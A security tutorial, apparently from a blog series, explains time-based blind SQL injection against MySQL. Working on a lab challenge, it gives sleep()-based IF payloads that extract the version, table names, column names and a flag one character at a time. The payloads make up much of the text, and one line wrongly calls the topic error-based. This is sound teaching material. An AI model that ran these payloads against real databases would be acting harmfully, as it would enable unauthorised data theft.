SQL Injection Exploitation: Time-based

Published: 03 March 2020

Introduction

This article is Part 5 of a series; to read about detecting and fixing SQL injection in Part 1, click here.

Exploitation

There are several methods for exploiting SQL Injection vulnerabilties depending on the context of the injection point, any potential filters and Web Application Firewalls (WAF) in place.

These methods are generally broken down into: Error-based, Blind-Boolean, Blind Time-based, Union-Based, and Out-of-Band. Here we’ll be looking at Error-based exploitation.

Time-based

In terms of crafting payloads, Time-based injection is very similar to Blind-Boolean injection. That is to say that extracting data from the database is generally done one character at a time.

Time-based exploitation uses a function which causes a temporary pause in the database response; these differ depending on the database type but some examples are:

MSSQL: WAITFOR DELAY '0:0:5'
MySQL: sleep(5)
PostgreSQL: pg_sleep(5)

The following examples will be against a MySQL database, where sleep() can be used appended to a database query, causing a delay, such as:

The shown page is still loading due to the delay caused by the sleep() function.

This can then be used within an IF statement to execute Boolean statements against the database, such as:

AND IF(1=1,sleep(5),0)
AND IF(1=2,sleep(5),0)

A Boolean check (1=1) is performed and shown to be true, so the page load is delayed.

A Boolean check (1=2) is performed and shown to be false, so the page loads without delay.

As this Boolean check requires a single character is checked at a time, like Boolean-based injection it’s possible to use LIMIT syntax to ensure that only a single row is returned and then either Substring() or LIKE syntax to check one character at a time. For example the version string can be extracted using queries such as:

1 AND IF(@@version LIKE 'a%',sleep(5),0)
1 AND IF(@@version LIKE 'b%',sleep(5),0)
1 AND IF(@@version LIKE 'c%',sleep(5),0)
...
1 AND IF(@@version LIKE '5%',sleep(5),0)
1 AND IF(@@version LIKE '5.%',sleep(5),0)
1 AND IF(@@version LIKE '5.5%',sleep(5),0)
...
1 AND IF(@@version = '5.5.64-MariaDB',sleep(5),0)

The first character of the version is checked to see if it is ‘a’, it is not therefore no delay occurs.

The first character of the version is checked to see if it is ‘5’, it is therefore a delay occurs.

The version is believed to be ‘5.5.64-MariaDB’, which the query proves that it is by delaying the response.

To extract table content from the database it’s required to first determine the names of tables, which can be achieved through a similar query although one character of one table name must be checked at a time. For example:

1 AND IF((SELECT table_name FROM information_schema.tables LIMIT 0,1) LIKE 'a%',sleep(5),0)
1 AND IF((SELECT table_name FROM information_schema.tables LIMIT 0,1) LIKE 'b%',sleep(5),0)
1 AND IF((SELECT table_name FROM information_schema.tables LIMIT 0,1) LIKE 'c%',sleep(5),0)
...
1 AND IF((SELECT table_name FROM information_schema.tables LIMIT 0,1) LIKE 'C%',sleep(5),0)

The first character of the first table name is checked against ‘a’ and found not to match, so no delay occurs. This can then be continued: a, b, c. Until a delay occurs an the first character is known. For our test database the first character was 'C'.

Table names are retrieved in a similar manner, one character at a time.

Building up from there character at a time unveiled that the first table is "CHARACTER_SETS". Using this technique you could either step through each table one at a time (there could be hundreds!) or you could determine if specific tables of interest exams. Once the first table is determined the LIMIT keyword can be changed from “0,1” to “1,1” then “2,1”, etc, to retrieve further tables. Finding intersting tables could be done by looking for tables with intersting names, like "users", "accounts", "members", etc.

This method was used to determine that a table called challenge7 exists. Once a target table name has been retrieved the column names can be retrieved with queries such as:

1 AND IF((SELECT column_name FROM information_schema.columns WHERE  table_name = 'challenge7' LIMIT 2,1) LIKE 'a%',sleep(5),0)
1 AND IF((SELECT column_name FROM information_schema.columns WHERE table_name = 'challenge7' LIMIT 2,1) LIKE 'b%',sleep(5),0)
1 AND IF((SELECT column_name FROM information_schema.columns WHERE table_name = 'challenge7' LIMIT 2,1) LIKE 'c%',sleep(5),0)
...
1 AND IF((SELECT column_name FROM information_schema.columns WHERE table_name = 'challenge7' LIMIT 2,1) LIKE 'f%',sleep(5),0)
...
1 AND IF((SELECT column_name FROM information_schema.columns WHERE table_name = 'challenge7' LIMIT 2,1) = 'flag',sleep(5),0)

Here the method is the same, checking each character in turn until we determine the first column for the challenge7 table is "flag".

Now that the target table name and column names are known, data can be retrieved with a query such as:

1 AND IF((SELECT flag FROM challenge7 LIMIT 0,1) LIKE 'a%',sleep(5),0)
1 AND IF((SELECT flag FROM challenge7 LIMIT 0,1) LIKE 'b%',sleep(5),0)
1 AND IF((SELECT flag FROM challenge7 LIMIT 0,1) LIKE 'c%',sleep(5),0)
...
1 AND IF((SELECT flag FROM challenge7 LIMIT 0,1) LIKE 'S%',sleep(5),0)
...
1 AND IF((SELECT flag FROM challenge7 LIMIT 0,1) = 'SQL7-Success',sleep(5),0)

The result is checked against “SQL7-Success” and found to match.

This allows you to retrieve results from the database one character at a time, which shows that the flag for Challenge 7 is “SQL7-Success”.

Read More

To read more about SQL Injection, try the following articles: